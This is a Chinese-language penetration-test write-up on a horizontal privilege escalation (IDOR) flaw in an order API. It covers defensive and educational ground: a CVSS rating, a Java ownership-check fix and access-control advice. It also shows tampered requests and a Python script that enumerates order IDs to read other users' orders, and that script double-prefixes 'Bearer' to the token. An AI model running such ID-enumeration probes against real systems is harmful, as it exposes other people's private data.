水平越权漏洞实战复盘:一次完整的渗透测试过程

一、测试背景与目标

在某企业内部系统的安全评估中,我们发现用户管理模块存在潜在权限漏洞。该系统采用JWT令牌进行身份认证,但权限校验逻辑分散在多个微服务中。测试目标为验证普通用户是否能够通过构造请求访问其他同级别用户的敏感数据(如订单信息、账户余额等),即水平越权攻击场景。

二、漏洞原理与攻击面分析

水平越权的核心在于系统未严格验证请求发起者与目标资源的所属关系。常见触发点包括:

  1. 参数传递漏洞:用户ID通过URL参数或请求体直接传递,未校验当前用户权限
  2. 会话固定漏洞:JWT中包含可预测的用户标识(如顺序ID)
  3. 接口设计缺陷:获取用户数据的接口未校验请求者身份

本次测试聚焦于订单查询接口:

  1. GET /api/orders/{orderId}

初步分析发现,该接口仅校验订单是否存在,未验证订单所属用户与请求者是否一致。

三、测试实施步骤

1. 信息收集与接口分析

使用Burp Suite抓取正常订单查询请求:

  1. GET /api/orders/12345 HTTP/1.1
  2. Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

解析JWT令牌后发现包含用户ID字段:

  1. {
  2. "sub": "user_1001",
  3. "exp": 1625097600
  4. }

2. 构造越权请求

修改请求中的orderId参数,尝试查询其他用户的订单:

  1. GET /api/orders/12346 HTTP/1.1 # 假设12346属于user_1002
  2. Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzEwMDEiLCJleHAiOjE2MjUwOTc2MDB9...

系统返回200状态码及完整订单数据,确认存在水平越权漏洞。

3. 自动化验证

编写Python脚本进行批量测试:

  1. import requests
  2. import jwt
  3. def test_horizontal_privilege(base_url, auth_token, target_order_ids):
  4. headers = {'Authorization': f'Bearer {auth_token}'}
  5. user_id = jwt.decode(auth_token.split()[1], options={"verify_signature": False})['sub']
  6. for order_id in target_order_ids:
  7. response = requests.get(f'{base_url}/api/orders/{order_id}', headers=headers)
  8. if response.status_code == 200:
  9. print(f"越权成功: 用户{user_id}访问订单{order_id}")
  10. else:
  11. print(f"访问被拒: 订单{order_id}")
  12. # 示例调用
  13. test_horizontal_privilege(
  14. 'https://api.example.com',
  15. 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...',
  16. [12345, 12346, 12347]
  17. )

4. 漏洞等级评估

根据CVSS 3.1标准评分:

  • 攻击向量:网络(AV:N)
  • 攻击复杂度:低(AC:L)
  • 权限要求:低(PR:L)
  • 用户交互:无(UI:N)
  • 范围:未改变(S:U)
  • 保密性影响:高(C:H)
  • 完整性影响:无(I:N)
  • 可用性影响:无(A:N)

最终得分:7.5(高危)

四、修复方案与最佳实践

1. 立即修复措施

在订单查询接口增加权限校验:

  1. // Java示例
  2. @GetMapping("/api/orders/{orderId}")
  3. public ResponseEntity<Order> getOrder(
  4. @PathVariable Long orderId,
  5. @AuthenticationPrincipal JwtUser user) {
  6. Order order = orderRepository.findById(orderId)
  7. .orElseThrow(() -> new ResourceNotFoundException("Order not found"));
  8. if (!order.getUserId().equals(user.getId())) {
  9. throw new AccessDeniedException("No permission to access this order");
  10. }
  11. return ResponseEntity.ok(order);
  12. }

2. 长期安全改进

  1. 最小权限原则

    • 接口应验证请求者是否为资源所有者或具有明确授权
    • 避免使用”管理员可访问所有数据”的粗粒度权限
  2. 安全设计模式

    • 采用RBAC(基于角色的访问控制)或ABAC(基于属性的访问控制)模型
    • 示例ABAC策略(伪代码):
      1. if (请求者角色 == "用户" && 资源所有者ID == 请求者ID) {
      2. 允许访问
      3. }
  3. 安全开发实践

    • 权限校验应放在服务层而非控制器层
    • 避免在前端传递原始用户ID,使用不可预测的UUID
    • 定期进行权限矩阵审查
  4. 安全测试建议

    • 将权限测试纳入自动化测试套件
    • 使用OWASP ZAP或Burp Suite进行动态扫描
    • 实施灰盒测试,结合代码审查与渗透测试

五、防御体系构建

  1. 纵深防御

    • 网络层:WAF防护常见攻击模式
    • 应用层:严格输入验证与权限校验
    • 数据层:字段级加密与访问日志
  2. 监控与响应

    • 记录所有越权尝试行为
    • 设置异常访问阈值告警
    • 定期审计权限分配情况
  3. 技术选型建议

    • 考虑使用成熟的权限管理框架(如Spring Security)
    • 云原生环境可利用服务网格实现细粒度访问控制
    • 百度智能云等平台提供的IAM服务可简化权限管理

六、总结与启示

本次测试揭示了水平越权漏洞的典型特征:系统正确实现了认证机制,但缺乏有效的授权控制。开发者应认识到:

  1. 认证≠授权,必须明确区分”你是谁”和”你能做什么”
  2. 权限校验需要贯穿整个请求处理流程
  3. 安全测试应覆盖正常流程与异常场景

建议建立”设计-开发-测试-运维”的全生命周期安全实践,将权限控制作为非功能性需求纳入需求分析阶段。对于云原生架构,可充分利用平台提供的身份管理服务构建零信任安全体系。